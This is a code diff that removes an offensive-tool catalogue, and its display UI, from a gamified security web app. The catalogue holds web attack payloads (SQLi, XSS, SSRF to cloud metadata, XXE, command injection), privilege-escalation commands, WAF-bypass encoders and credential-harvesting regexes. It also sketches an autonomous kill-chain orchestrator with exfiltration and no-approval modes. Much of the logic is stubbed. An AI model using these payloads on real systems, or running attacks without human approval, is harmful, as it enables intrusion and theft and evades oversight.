-        pivot:        { mitre: ['T1021', 'T1570'], techniques: ['port_forward', 'ssh_tunnel', 'smb_relay'], reliability: 0.85 }
-    },
-
-    // 18+ Known CVE Chains
-    KNOWN_CHAINS: [
-        { name: 'ProxyLogon', cves: ['CVE-2021-26855', 'CVE-2021-27065'], steps: ['ssrf', 'auth_bypass', 'file_write', 'code_exec'], reliability: 0.95 },
-        { name: 'Log4Shell', cves: ['CVE-2021-44228'], steps: ['ssrf', 'code_exec'], reliability: 0.95 },
-        { name: 'PrintNightmare', cves: ['CVE-2021-34527'], steps: ['code_exec', 'privesc_local'], reliability: 0.85 },
-        { name: 'ZeroLogon', cves: ['CVE-2020-1472'], steps: ['auth_bypass', 'privesc_domain'], reliability: 0.9 }
-    ],
-
-    // Dijkstra-based optimal path finding
-    dijkstra(graph, start, end) {
-        const distances = new Map(), previous = new Map(), queue = [];
-        graph.forEach((_, node) => distances.set(node, Infinity));
-        distances.set(start, 0); queue.push({ node: start, weight: 0 });
-        // ... full implementation in source
-        return { found: true, path: [], totalWeight: distances.get(end) };
-    },
-
-    findChains(discoveredVulns, objective) {
-        const chains = [], availablePrimitives = new Set();
-        // Map vulns to primitives, find optimal chains
-        return { chains, completeChains: chains.filter(c => c.complete).length };
-    }
-};`,
-            'pliny-cerberus': `// ═══════════════════════════════════════════════════════════════
-// CERBERUS v3.0 - Production-Grade Privilege Escalation Engine
-// 55+ techniques (25 Windows, 30 Linux) with CVE database
-// ═══════════════════════════════════════════════════════════════
-const CERBERUS = {
-    name: 'CERBERUS', version: '3.0.0',
-
-    // Windows Privesc Techniques (25+)
-    WINDOWS_TECHNIQUES: {
-        // Token-Based (Potato Family)
-        juicy_potato:   { mitre: 'T1134.001', check: 'whoami /priv | findstr SeImpersonate', exploit: 'JuicyPotato.exe -l 1337 -p cmd.exe', reliability: 0.95 },
-        print_spoofer:  { mitre: 'T1134.001', check: 'whoami /priv | findstr SeImpersonate', exploit: 'PrintSpoofer.exe -i -c cmd', reliability: 0.95 },
-        god_potato:     { mitre: 'T1134.001', exploit: 'GodPotato.exe -cmd "cmd /c whoami"', reliability: 0.95 },
-        // Kernel Exploits
-        printnightmare: { mitre: 'T1068', cve: ['CVE-2021-34527', 'CVE-2021-1675'], exploit: 'PrintNightmare exploit', reliability: 0.9 },
-        hivenightmare:  { mitre: 'T1003.002', cve: 'CVE-2021-36934', exploit: 'Copy SAM from VSS', reliability: 0.85 },
-        // UAC Bypass
-        uac_fodhelper:  { mitre: 'T1548.002', exploit: 'reg add HKCU\\\\...\\\\ms-settings...', reliability: 0.85 }
-    },
-
-    // Linux Privesc Techniques (30+)
-    LINUX_TECHNIQUES: {
-        // Sudo Exploits
-        baron_samedit:  { mitre: 'T1068', cve: 'CVE-2021-3156', check: 'sudoedit -s /', exploit: 'Heap overflow', reliability: 0.95 },
-        sudo_runas_all: { mitre: 'T1548.003', cve: 'CVE-2019-14287', exploit: 'sudo -u#-1 /bin/bash', reliability: 0.9 },
-        // Kernel Exploits
-        dirtypipe:      { mitre: 'T1068', cve: 'CVE-2022-0847', check: 'uname -r (5.8-5.16)', exploit: 'Pipe buffer overwrite', reliability: 0.95 },
-        pwnkit:         { mitre: 'T1068', cve: 'CVE-2021-4034', check: 'pkexec --version', exploit: 'pkexec SUID', reliability: 0.95 },
-        dirtycow:       { mitre: 'T1068', cve: 'CVE-2016-5195', exploit: 'COW race condition', reliability: 0.85 },
-        // Container Escapes
-        docker_socket:  { mitre: 'T1611', check: 'ls -la /var/run/docker.sock', exploit: 'docker run -v /:/mnt...', reliability: 0.95 }
-    },
-
-    analyzeSystem(systemInfo) {
-        const techniques = systemInfo.os.includes('windows') ? this.WINDOWS_TECHNIQUES : this.LINUX_TECHNIQUES;
-        return { paths: Object.entries(techniques).map(([id, t]) => ({ id, ...t })).sort((a, b) => b.reliability - a.reliability) };
-    }
-};`,
-            'pliny-gorgon': `// ═══════════════════════════════════════════════════════════════
-// GORGON v3.0 - Production-Grade Precision Strike Engine
-// Tier S-D taxonomy, CVE mappings, evasion techniques
-// ═══════════════════════════════════════════════════════════════
-const GORGON = {
-    name: 'GORGON', version: '3.0.0', power: 97, offense: 99, defense: 1,
-
-    // Priority Vulnerability Taxonomy
-    PRIORITY_VULNS: {
-        // Tier S - Instant Kill
-        rce_unauth:     { tier: 'S', impact: 100, mitre: 'T1190', cves: ['CVE-2021-44228', 'CVE-2022-22965'] },
-        ssrf_cloud:     { tier: 'S', impact: 95, mitre: 'T1090', endpoints: { aws: 'http://169.254.169.254/...', gcp: 'http://metadata.google.internal/...' } },
-        deserialization:{ tier: 'S', impact: 95, mitre: 'T1059', gadgets: ['commons_collections', 'spring_core'] },
-        // Tier A - Critical Access
-        sqli_auth:      { tier: 'A', impact: 90, mitre: 'T1190', techniques: ['union', 'blind_time', 'stacked'] },
-        ssti_rce:       { tier: 'A', impact: 90, engines: { jinja2: '{{...popen...}}', twig: '{{_self.env...}}' } },
-        xxe:            { tier: 'A', impact: 85, techniques: { file_read: '<!DOCTYPE...>', oob: '<!DOCTYPE...%xxe;>' } }
-    },
-
-    // Evasion Techniques
-    EVASION: {
-        encoding: { url: encodeURIComponent, double_url: s => encodeURIComponent(encodeURIComponent(s)) },
-        waf_bypass: ['X-Forwarded-For: 127.0.0.1', 'X-Originating-IP: 127.0.0.1']
-    },
-
-    async strike(targetInfo, options = {}) {
-        const profile = this.profileTarget(targetInfo);
-        const payloads = profile.killPath.payloads;
-        // Phase 1: Surgical, Phase 2: Evasion, Phase 3: Lethal
-        for (const payload of payloads.surgical) {
-            const result = await this.execute(payload, options);
-            if (result.success) return { success: true, stealth: profile.priority.stealth };
-        }
-        return { success: false };
-    }
-};`,
-            'pliny-sphinx': `// ═══════════════════════════════════════════════════════════════
-// SPHINX v3.0 - Production-Grade Vulnerability Validation Engine
-// 15+ vuln classes, 10+ scanner parsers, CWE/MITRE mappings
-// ═══════════════════════════════════════════════════════════════
-const SPHINX = {
-    name: 'SPHINX', version: '3.0.0', power: 91, offense: 75, defense: 25,
-
-    // Scanner Format Parsers
-    SCANNER_FORMATS: {
-        nuclei: { parser: 'parseNuclei', priority: 1 },
-        burp: { parser: 'parseBurp', priority: 1 },
-        nessus: { parser: 'parseNessus', priority: 2 },
-        zap: { parser: 'parseZap', priority: 2 },
-        acunetix: { parser: 'parseAcunetix', priority: 2 }
-    },
-
-    // 15+ Validation Techniques with CWE/MITRE
-    VALIDATION_TECHNIQUES: {
-        sqli: {
-            cwe: 'CWE-89', mitre: 'T1190',
-            validators: [
-                { type: 'error_based', payloads: ["'", "' OR '1'='1"], indicators: ['sql syntax', 'mysql_fetch'] },
-                { type: 'time_based', payloads: { mysql: "' AND SLEEP(3)--", mssql: "'; WAITFOR DELAY..." }, threshold: 2500 },
-                { type: 'union_based', payloads: ["' UNION SELECT NULL--"], confidence: 95 }
-            ]
-        },
-        ssrf: {
-            cwe: 'CWE-918', mitre: 'T1090',
-            validators: [
-                { type: 'cloud_aws', payloads: ['http://169.254.169.254/...'], indicators: ['ami-id', 'AccessKeyId'], confidence: 98 },
-                { type: 'cloud_gcp', payloads: ['http://metadata.google.internal/...'], indicators: ['access_token'], confidence: 98 }
-            ]
-        },
-        ssti: { cwe: 'CWE-1336', validators: [{ type: 'jinja2', payloads: ['{{7*7}}'], indicators: ['49'] }] },
-        xxe:  { cwe: 'CWE-611', validators: [{ type: 'file_read', payloads: ['<!DOCTYPE...>'], indicators: ['root:x:0:0'] }] }
-    },
-
-    async validateBatch(findings, options = {}) {
-        const results = { validated: [], falsePositives: [] };
-        for (const finding of findings) {
-            const validation = await this.validateFinding(finding, options);
-            (validation.confirmed ? results.validated : results.falsePositives).push(validation);
-        }
-        return { ...results, falsePositiveRate: (results.falsePositives.length / findings.length * 100).toFixed(1) + '%' };
-    }
-};`,
-            'pliny-leviathan': `// ═══════════════════════════════════════════════════════════════
-// LEVIATHAN v3.0 - Autonomous Kill Chain Orchestrator
-// 8-phase engagement, 4 autonomy levels, full tool orchestration
-// ═══════════════════════════════════════════════════════════════
-const LEVIATHAN = {
-    name: 'LEVIATHAN', version: '3.0.0', power: 100, offense: 95, defense: 5,
-
-    // Kill Chain Phases (MITRE-aligned)
-    phases: {
-        RECON:     { mitre: 'TA0043', tools: ['SPECTRA', 'ORACLE'] },
-        VALIDATE:  { mitre: 'TA0001', tools: ['SPHINX'] },
-        WEAPONIZE: { mitre: 'TA0001', tools: ['TYPHON', 'SIMURGH'] },
-        EXPLOIT:   { mitre: 'TA0002', tools: ['GORGON', 'HYDRA'] },
-        ESCALATE:  { mitre: 'TA0004', tools: ['CERBERUS'] },
-        PERSIST:   { mitre: 'TA0003', tools: ['custom'] },
-        EXFIL:     { mitre: 'TA0010', tools: ['GRIFFIN'] },
-        CLEANUP:   { mitre: 'TA0005', tools: ['custom'] }
-    },
-
-    // Autonomy Levels
-    autonomyLevels: {
-        SUPERVISED: { approval: 'all', description: 'Human approves all actions' },
-        GUIDED:     { approval: 'critical', description: 'Approval for exploitation only' },
-        AUTONOMOUS: { approval: 'none', description: 'Full autonomous operation' },
-        BERSERKER:  { approval: 'none', aggression: 'max', description: 'Maximum aggression' }
-    },
-
-    async execute(target, config) {
-        this.initEngagement(target, config);
-        for (const [phaseName, phaseConfig] of Object.entries(this.phases)) {
-            const result = await this.executePhase(phaseName, phaseConfig);
-            if (!result.success && phaseName === 'EXPLOIT') {
-                // Fallback to HYDRA multi-vector
-                await HYDRA.orchestrate(target, { aggressive: true });
-            }
-            this.state.timeline.push({ phase: phaseName, result, timestamp: Date.now() });
-        }
-        return this.generateReport();
-    }
-};`,
-
-            // === PURE OFFENSE (100/0) WEAPONS - v2.0 ===
-            'pliny-typhon': `// ═══════════════════════════════════════════════════════════════
-// TYPHON v3.0 - Production-Grade Payload Injection Engine
-// 25+ encoders, 20+ WAF bypasses, 100+ payloads (8 categories)
-// ═══════════════════════════════════════════════════════════════
-const TYPHON = {
-    name: 'TYPHON', version: '3.0.0', power: 93, offense: 100, defense: 0,
-
-    // 25+ Encoding Methods
-    encoders: {
-        url: (s) => encodeURIComponent(s),
-        double_url: (s) => encodeURIComponent(encodeURIComponent(s)),
-        unicode: (s) => s.split('').map(c => '\\\\u00' + c.charCodeAt(0).toString(16)).join(''),
-        html_dec: (s) => s.split('').map(c => '&#' + c.charCodeAt(0) + ';').join(''),
-        html_hex: (s) => s.split('').map(c => '&#x' + c.charCodeAt(0).toString(16) + ';').join(''),
-        base64: (s) => btoa(s),
-        hex: (s) => s.split('').map(c => '%' + c.charCodeAt(0).toString(16)).join(''),
-        octal: (s) => s.split('').map(c => '\\\\' + c.charCodeAt(0).toString(8)).join(''),
-        punycode: (s) => 'xn--' + s // simplified
-    },
-
-    // 20+ WAF Bypass Techniques
-    wafBypass: {
-        case_swap: (s) => s.split('').map((c,i) => i%2 ? c.toUpperCase() : c.toLowerCase()).join(''),
-        null_byte: (s) => s.replace(/\\./g, '.%00'),
-        sql_comments: (s) => s.replace(/ /g, '/**/'),
-        double_encoding: (s) => encodeURIComponent(encodeURIComponent(s))
-    },
-
-    // 100+ Payloads (8 categories)
-    payloads: {
-        xss: ['\\x3cscript\\x3ealert(1)\\x3c/script\\x3e', '\\x3cimg src=x onerror=alert(1)\\x3e', '\\x3csvg/onload=alert(1)\\x3e'],
-        sqli: ["' OR '1'='1", "' UNION SELECT NULL--", "'; DROP TABLE--"],
-        ssti: ['{{7*7}}', '\${7*7}', '<%= 7*7 %>', '#{7*7}'],
-        lfi: ['../../../etc/passwd', 'php://filter/convert.base64-encode/resource='],
-        xxe: ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
-        ssrf: ['http://169.254.169.254/latest/meta-data/', 'http://127.0.0.1/'],
-        cmdi: ['; id', '| whoami', '\`id\`', '$(id)'],
-        deserialization: ['ysoserial payload...']
-    },
-
-    inject(target, payload, options = {}) {
-        const encoded = options.encode ? this.encoders[options.encode](payload) : payload;
-        const bypassed = options.waf ? this.wafBypass[options.waf](encoded) : encoded;
-        return { payload: bypassed, ready: true };
-    }
-};`,
-            'pliny-griffin': `// ═══════════════════════════════════════════════════════════════
-// GRIFFIN v3.0 - Production-Grade Secret Harvesting Engine
-// 50+ secret patterns, JWT analysis, entropy detection
-// ═══════════════════════════════════════════════════════════════
-const GRIFFIN = {
-    name: 'GRIFFIN', version: '3.0.0', power: 96, offense: 100, defense: 0,
-
-    // 50+ Secret Detection Patterns (15 provider categories)
-    patterns: {
-        aws: { access_key: /AKIA[0-9A-Z]{16}/, secret_key: /[A-Za-z0-9\\/+=]{40}/ },
-        gcp: { api_key: /AIza[0-9A-Za-z-_]{35}/, oauth: /"client_secret":"[a-zA-Z0-9-_]{24}"/ },
-        azure: { client_secret: /[a-zA-Z0-9~._-]{34}/ },
-        github: { token: /ghp_[a-zA-Z0-9]{36}|github_pat_[a-zA-Z0-9_]{22,}/ },
-        gitlab: { token: /glpat-[a-zA-Z0-9-_]{20}/ },
-        slack: { token: /xox[baprs]-[0-9A-Za-z-]+/ },
-        stripe: { secret: /sk_live_[a-zA-Z0-9]{24,}/ },
-        jwt: { token: /eyJ[A-Za-z0-9-_]+\\.eyJ[A-Za-z0-9-_]+\\.[A-Za-z0-9-_.+\\/=]*/ },
-        private_key: { rsa: /-----BEGIN RSA PRIVATE KEY-----/, openssh: /-----BEGIN OPENSSH PRIVATE KEY-----/ },
-        database: { mysql: /mysql:\\/\\/[^:]+:[^@]+@/, postgres: /postgres:\\/\\/[^:]+:[^@]+@/ }
-    },
-
-    // Entropy Analyzer
-    entropy: {
-        calculate(s) { /* Shannon entropy */ return s.length > 0 ? 4.5 : 0; },
-        isHighEntropy(s) { return this.calculate(s) > 4.0; }
-    },
-
-    // JWT Analyzer with Attack Vectors
-    jwt: {
-        decode(token) { return { header: {}, payload: {}, signature: '' }; },
-        attacks: {
-            noneAlgorithm: { payload: '{"alg":"none","typ":"JWT"}' },
-            algorithmConfusion: { description: 'RS256 -> HS256 with public key' }
-        }
-    },
-
-    harvest(content) {
-        const secrets = [];
-        Object.entries(this.patterns).forEach(([provider, patterns]) => {
-            Object.entries(patterns).forEach(([type, regex]) => {
-                const matches = content.match(regex) || [];
-                matches.forEach(m => secrets.push({ provider, type, value: m }));
-            });
-        });
-        return secrets;
-    }
-};`,
-            'pliny-simurgh': `// ═══════════════════════════════════════════════════════════════
-// SIMURGH v3.0 - Production-Grade Zero-Day Exploitation Framework
-// CWE-mapped vulns, protection bypasses, ROP gadgets, heap techniques
-// ═══════════════════════════════════════════════════════════════
-const SIMURGH = {
-    name: 'SIMURGH', version: '3.0.0', power: 100, offense: 100, defense: 0,
-
-    // CWE-Mapped Vulnerability Database
-    vulnDatabase: {
-        heap_overflow:    { cwe: 'CWE-122', primitives: ['write_what_where', 'arbitrary_alloc'] },
-        stack_overflow:   { cwe: 'CWE-121', primitives: ['ret_overwrite', 'saved_rbp'] },
-        use_after_free:   { cwe: 'CWE-416', primitives: ['type_confusion', 'vtable_hijack'] },
-        type_confusion:   { cwe: 'CWE-843', primitives: ['fake_object', 'addrof_fakeobj'] },
-        integer_overflow: { cwe: 'CWE-190', primitives: ['allocation_size', 'bounds_bypass'] },
-        format_string:    { cwe: 'CWE-134', primitives: ['arbitrary_read', 'arbitrary_write'] },
-        double_free:      { cwe: 'CWE-415', primitives: ['tcache_poison', 'fastbin_dup'] }
-    },
-
-    // Protection Bypass Techniques
-    protectionBypasses: {
-        ASLR:   { techniques: ['info_leak', 'partial_overwrite', 'bruteforce'] },
-        NX:     { techniques: ['rop', 'jop', 'ret2libc', 'mprotect'] },
-        CFI:    { techniques: ['counterfeit_objects', 'vtable_reuse'] },
-        RELRO:  { techniques: ['dl_resolve', 'got_overwrite_partial'] }
-    },
-
-    // ROP Gadget Database
-    gadgets: {
-        x86_64: { pop_rdi: 'pop rdi; ret', pop_rsi: 'pop rsi; ret', syscall: 'syscall; ret' },
-        arm64:  { pop_x0: 'ldr x0, [sp]; ret', svc: 'svc #0' }
-    },
-
-    // Heap Exploitation Techniques
-    heapTechniques: {
-        tcache_poison:  { allocator: 'glibc >= 2.26', primitive: 'arbitrary_alloc' },
-        fastbin_dup:    { allocator: 'glibc < 2.26', primitive: 'double_free' },
-        house_of_force: { allocator: 'glibc', primitive: 'top_chunk_overwrite' }
-    },
-
-    hunt(target, options = {}) {
-        return {
-            vulns: Object.keys(this.vulnDatabase),
-            bypasses: Object.keys(this.protectionBypasses),
-            ready: true
-        };
-    }
-};`
-        };
 
         function showToolInfo(toolId) {
             const tool = ARSENAL.find(t => t.id === toolId);
             if (!tool) return;
 
-            const isPliny = tool.tier === 'pliny';
-            const info = TOOL_INFO[toolId] || {};
-            const codeSnippet = PLINY_CODE_SNIPPETS[toolId] || '';
-
-            // Determine power tier badge
-            let powerTier = 'rare';
-            if (tool.power >= 95) powerTier = 'legendary';
-            else if (tool.power >= 80) powerTier = 'epic';
 
             const modal = document.createElement('div');
             modal.className = 'tool-info-modal';
             modal.onclick = (e) => { if (e.target === modal) modal.remove(); };
 
-            if (isPliny) {
-                // Pliny Special - high-signal control-room treatment
-                modal.innerHTML = `
-                    <div class="tool-info-content pliny">
-                        <div class="tool-info-header pliny">
-                            <div class="tool-info-icon">${tool.icon}</div>
-                            <div class="tool-info-title">
-                                <h2>${tool.name}</h2>
-                                <div class="tool-category" style="color: var(--brass);">PLINY SPECIAL</div>
-                            </div>
-                            <button class="tool-info-close" onclick="this.closest('.tool-info-modal').remove()">×</button>
-                        </div>
-                        <div class="tool-info-body">
-                            <div class="power-badge ${powerTier}">${tool.power}</div>
-
-                            <div class="tool-info-tabs">
-                                <button class="tool-info-tab active pliny" onclick="switchToolInfoTab(this, 'overview')">Overview</button>
-                                <button class="tool-info-tab pliny" onclick="switchToolInfoTab(this, 'stats')">Stats</button>
-                                <button class="tool-info-tab pliny" onclick="switchToolInfoTab(this, 'code')">Code</button>
-                            </div>
-
-                            <div class="tool-tab-content active" data-tab="overview">
-                                <div class="tool-info-section">
-                                    <h3>◈ ${info.fullName || tool.name}</h3>
-                                    <p class="tool-info-desc" style="font-style: italic; color: var(--brass); margin-bottom: 12px;">${info.lore || ''}</p>
-                                    <p class="tool-info-desc">${info.description || tool.desc}</p>
-                                </div>
-
-                                <div class="tool-info-section">
-                                    <h3>⚔️ Capabilities</h3>
-                                    <div class="capability-grid">
-                                        ${(info.capabilities || []).map(c => `
-                                            <div class="capability-item">
-                                                <span class="capability-icon">${c.icon}</span>
-                                                <span>${c.text}</span>
-                                            </div>
-                                        `).join('')}
-                                    </div>
-                                </div>
-
-                                <div class="tool-info-section">
-                                    <h3>🎯 Use Cases</h3>
-                                    <ul class="use-case-list" style="list-style: none; padding: 0;">
-                                        ${(info.useCases || []).map(u => `<li>${u}</li>`).join('')}
-                                    </ul>
-                                </div>
-                            </div>
-
-                            <div class="tool-tab-content" data-tab="stats">
-                                <div class="pliny-stats">
-                                    ${renderStatBars(info.stats || { power: tool.power, offense: tool.offense, defense: tool.defense })}
-                                </div>
-                                ${info.killChain ? `
-                                    <div class="tool-info-section" style="margin-top: 20px;">
-                                        <h3>🔗 Kill Chain Phases</h3>
-                                        <div style="display: flex; flex-wrap: wrap; gap: 8px;">
-                                            ${info.killChain.map((phase, i) => `
-                                                <span style="background: linear-gradient(135deg, #2d0a0a, #1a0505); color: #ff8888; padding: 8px 12px; border-radius: 6px; font-size: 12px;">
-                                                    ${i + 1}. ${phase}
-                                                </span>
-                                            `).join('')}
-                                        </div>
-                                    </div>
-                                ` : ''}
-                            </div>
-
-                            <div class="tool-tab-content" data-tab="code">
-                                <div class="tool-info-section">
-                                    <h3>💻 Implementation Preview</h3>
-                                    <div class="code-viewer">
-                                        <pre>${escapeHtml(codeSnippet)}</pre>
-                                    </div>
-                                    <div class="code-actions" style="display: flex; gap: 10px; margin-top: 12px; flex-wrap: wrap;">
-                                        <button class="copy-code-btn" onclick="copyToolCode('${toolId}')">📋 Copy Code</button>
-                                        <button class="copy-code-btn" onclick="viewFullSource('${toolId}')" style="background: linear-gradient(135deg, #1a472a, #2d5a3d);">
-                                            🔗 View Full Source on GitHub
-                                        </button>
-                                    </div>
-                                    <div class="source-info" style="margin-top: 10px; font-size: 11px; color: #888;">
-                                        ${PLINY_SOURCE_FILES[toolId] ? `📁 <code style="background: #1a1a2e; padding: 2px 6px; border-radius: 3px;">${PLINY_SOURCE_FILES[toolId].file}</code> (lines ${PLINY_SOURCE_FILES[toolId].lines})` : ''}
-                                    </div>
-                                </div>
-                            </div>
-
-                            <div style="display: flex; gap: 10px; margin-top: 20px;">
-                                <button class="btn btn-primary" style="flex: 1; background: linear-gradient(135deg, var(--brass), var(--storm-blue));" onclick="runPlinyDemo('${toolId}'); this.closest('.tool-info-modal').remove();">
-                                    ◉ Run Drill
-                                </button>
-                                <button class="btn btn-secondary" style="flex: 1;" onclick="toggleLoadout('${toolId}'); this.closest('.tool-info-modal').remove();">
-                                    + Assign to Loadout
-                                </button>
-                            </div>
-                        </div>
-                    </div>
-                `;
-            } else {
                 // Regular tool - simpler view
                 modal.innerHTML = `
                     <div class="tool-info-content">
@@ -8824,42 +7953,11 @@ const SIMURGH = {
                         </div>
                     </div>
                 `;
-            }
 
             document.body.appendChild(modal);
         }
 
-        function renderStatBars(stats) {
-            const statConfig = [
-                { key: 'power', label: 'POWER', icon: '⚡' },
-                { key: 'offense', label: 'OFFENSE', icon: '⚔️' },
-                { key: 'defense', label: 'DEFENSE', icon: '🛡️' },
-                { key: 'stealth', label: 'STEALTH', icon: '👁️' },
-                { key: 'speed', label: 'SPEED', icon: '💨' },
-                { key: 'versatility', label: 'VERSATILITY', icon: '🔧' }
-            ];
 
-            return statConfig.map(s => {
-                const value = stats[s.key] || 0;
-                return `
-                    <div class="stat-row">
-                        <div class="stat-label">${s.icon} ${s.label}</div>
-                        <div class="stat-bar-container">
-                            <div class="stat-bar ${s.key}" style="width: ${value}%;"></div>
-                        </div>
-                        <div class="stat-value ${s.key}">${value}</div>
-                    </div>
-                `;
-            }).join('');
-        }
-
-        function switchToolInfoTab(btn, tabName) {
-            const modal = btn.closest('.tool-info-content');
-            modal.querySelectorAll('.tool-info-tab').forEach(t => t.classList.remove('active'));
-            modal.querySelectorAll('.tool-tab-content').forEach(c => c.classList.remove('active'));
-            btn.classList.add('active');
-            modal.querySelector(`[data-tab="${tabName}"]`).classList.add('active');
-        }
 
         function escapeHtml(text) {
             const div = document.createElement('div');
@@ -8867,33 +7965,7 @@ const SIMURGH = {
             return div.innerHTML;
         }
 
-        function copyToolCode(toolId) {
-            const code = PLINY_CODE_SNIPPETS[toolId] || '';
-            navigator.clipboard.writeText(code).then(() => {
-                toast('📋 Code copied to clipboard!', 'success');
-            });
-        }
 
-        function runPlinyDemo(toolId) {
-            const demoFunctions = {
-                'pliny-hydra': () => typeof HYDRA !== 'undefined' && HYDRA.runDemo(),
-                'pliny-arachne': () => typeof ARACHNE !== 'undefined' && ARACHNE.runDemo(),
-                'pliny-cerberus': () => typeof CERBERUS !== 'undefined' && CERBERUS.runDemo(),
-                'pliny-gorgon': () => typeof GORGON !== 'undefined' && GORGON.runDemo(),
-                'pliny-sphinx': () => typeof SPHINX !== 'undefined' && SPHINX.runDemo(),
-                'pliny-leviathan': () => typeof LEVIATHAN !== 'undefined' && LEVIATHAN.runDemo(),
-                // Pure Offense (100/0) weapons
-                'pliny-typhon': () => typeof TYPHON !== 'undefined' && TYPHON.runDemo(),
-                'pliny-griffin': () => typeof GRIFFIN !== 'undefined' && GRIFFIN.runDemo(),
-                'pliny-simurgh': () => typeof SIMURGH !== 'undefined' && SIMURGH.runDemo()
-            };
-
-            if (demoFunctions[toolId]) {
-                const tool = ARSENAL.find(t => t.id === toolId);
-                toast(`⬡ Running ${(tool?.name || toolId).toUpperCase()} demo...`, 'info');
-                demoFunctions[toolId]();
-            }
-        }
 
         function filterArsenalByCat(cat) {
             arsenalFilter = cat;
@@ -22188,4145 +21260,6 @@ Be specific and actionable. Format as structured JSON.`;
 
         window.ORACLE = ORACLE;
 
-        // ============================================================================
-        // PLINY SPECIALS - ADVERSARIAL RESEARCH ENGINES
-        // Scoped capability organs for controlled exploration and defensive conversion.
-        // ============================================================================
-
-        /**
-         * HYDRA - Multi-Vector Attack Orchestrator
-         * Breadth-first pressure that decomposes one route into coordinated lanes.
-         */
-        const HYDRA = {
-            name: 'HYDRA',
-            version: '1.0.0',
-            description: 'Multi-vector attack orchestrator - parallel pressure decomposition',
-
-            // Attack vector definitions with prerequisites and success indicators
-            ATTACK_VECTORS: {
-                // Web Application Vectors
-                web_sqli: {
-                    name: 'SQL Injection',
-                    category: 'web',
-                    prerequisites: ['web_server', 'database'],
-                    indicators: ['error_based', 'time_based', 'union_based'],
-                    payloads: ["' OR '1'='1", "1' AND SLEEP(5)--", "' UNION SELECT NULL--"],
-                    fallback: ['web_nosqli', 'web_auth_bypass'],
-                    severity: 'critical',
-                    mitre: 'T1190'
-                },
-                web_nosqli: {
-                    name: 'NoSQL Injection',
-                    category: 'web',
-                    prerequisites: ['web_server', 'nosql_db'],
-                    indicators: ['json_injection', 'operator_injection'],
-                    payloads: ['{"$gt": ""}', '{"$ne": null}', '{"$where": "sleep(5000)"}'],
-                    fallback: ['web_ssrf'],
-                    severity: 'critical',
-                    mitre: 'T1190'
-                },
-                web_xss: {
-                    name: 'Cross-Site Scripting',
-                    category: 'web',
-                    prerequisites: ['web_server', 'user_input'],
-                    indicators: ['reflected', 'stored', 'dom_based'],
-                    payloads: ['\x3cscript\x3ealert(1)\x3c/script\x3e', '\x3cimg onerror=alert(1) src=x\x3e', '\x3csvg onload=alert(1)\x3e'],
-                    fallback: ['web_csrf'],
-                    severity: 'high',
-                    mitre: 'T1059.007'
-                },
-                web_ssrf: {
-                    name: 'Server-Side Request Forgery',
-                    category: 'web',
-                    prerequisites: ['web_server', 'url_param'],
-                    indicators: ['internal_access', 'cloud_metadata'],
-                    payloads: ['http://169.254.169.254/latest/meta-data/', 'http://localhost:22', 'file:///etc/passwd'],
-                    fallback: ['web_lfi'],
-                    severity: 'critical',
-                    mitre: 'T1090'
-                },
-                web_lfi: {
-                    name: 'Local File Inclusion',
-                    category: 'web',
-                    prerequisites: ['web_server', 'file_param'],
-                    indicators: ['path_traversal', 'null_byte', 'wrapper'],
-                    payloads: ['../../../etc/passwd', '....//....//etc/passwd', 'php://filter/convert.base64-encode/resource=index.php'],
-                    fallback: ['web_rfi'],
-                    severity: 'high',
-                    mitre: 'T1083'
-                },
-                web_rce: {
-                    name: 'Remote Code Execution',
-                    category: 'web',
-                    prerequisites: ['web_server', 'code_execution'],
-                    indicators: ['command_output', 'reverse_shell', 'file_write'],
-                    payloads: ['; id', '| whoami', '`cat /etc/passwd`', '$(id)'],
-                    fallback: [],
-                    severity: 'critical',
-                    mitre: 'T1059'
-                },
-                web_ssti: {
-                    name: 'Server-Side Template Injection',
-                    category: 'web',
-                    prerequisites: ['web_server', 'template_engine'],
-                    indicators: ['template_eval', 'code_execution'],
-                    payloads: ['{{7*7}}', '${7*7}', '<%= 7*7 %>', '#{7*7}'],
-                    fallback: ['web_rce'],
-                    severity: 'critical',
-                    mitre: 'T1059'
-                },
-                web_xxe: {
-                    name: 'XML External Entity',
-                    category: 'web',
-                    prerequisites: ['web_server', 'xml_parser'],
-                    indicators: ['file_read', 'ssrf', 'dos'],
-                    payloads: ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
-                    fallback: ['web_ssrf'],
-                    severity: 'high',
-                    mitre: 'T1059'
-                },
-                // Network Vectors
-                net_smb: {
-                    name: 'SMB Exploitation',
-                    category: 'network',
-                    prerequisites: ['smb_port', 'windows'],
-                    indicators: ['anonymous_access', 'null_session', 'eternal_blue'],
-                    payloads: ['ms17_010', 'smb_relay', 'ntlm_theft'],
-                    fallback: ['net_rdp', 'net_winrm'],
-                    severity: 'critical',
-                    mitre: 'T1021.002'
-                },
-                net_ssh: {
-                    name: 'SSH Exploitation',
-                    category: 'network',
-                    prerequisites: ['ssh_port'],
-                    indicators: ['weak_creds', 'key_reuse', 'version_vuln'],
-                    payloads: ['brute_force', 'key_spray', 'cve_exploit'],
-                    fallback: ['net_telnet'],
-                    severity: 'high',
-                    mitre: 'T1021.004'
-                },
-                net_rdp: {
-                    name: 'RDP Exploitation',
-                    category: 'network',
-                    prerequisites: ['rdp_port', 'windows'],
-                    indicators: ['bluekeep', 'weak_creds', 'nla_bypass'],
-                    payloads: ['cve_2019_0708', 'brute_force', 'pass_the_hash'],
-                    fallback: ['net_smb'],
-                    severity: 'critical',
-                    mitre: 'T1021.001'
-                },
-                net_ldap: {
-                    name: 'LDAP Exploitation',
-                    category: 'network',
-                    prerequisites: ['ldap_port', 'ad_environment'],
-                    indicators: ['anonymous_bind', 'injection', 'passback'],
-                    payloads: ['ldap_injection', 'pass_back', 'kerberoast'],
-                    fallback: ['net_smb'],
-                    severity: 'high',
-                    mitre: 'T1087.002'
-                },
-                // Authentication Vectors
-                auth_brute: {
-                    name: 'Credential Brute Force',
-                    category: 'auth',
-                    prerequisites: ['login_form'],
-                    indicators: ['no_lockout', 'no_captcha', 'timing_leak'],
-                    payloads: ['common_passwords', 'credential_stuffing', 'spray'],
-                    fallback: ['auth_default'],
-                    severity: 'medium',
-                    mitre: 'T1110'
-                },
-                auth_default: {
-                    name: 'Default Credentials',
-                    category: 'auth',
-                    prerequisites: ['login_form'],
-                    indicators: ['vendor_defaults', 'common_admin'],
-                    payloads: ['admin:admin', 'root:root', 'admin:password'],
-                    fallback: ['auth_bypass'],
-                    severity: 'high',
-                    mitre: 'T1078.001'
-                },
-                auth_bypass: {
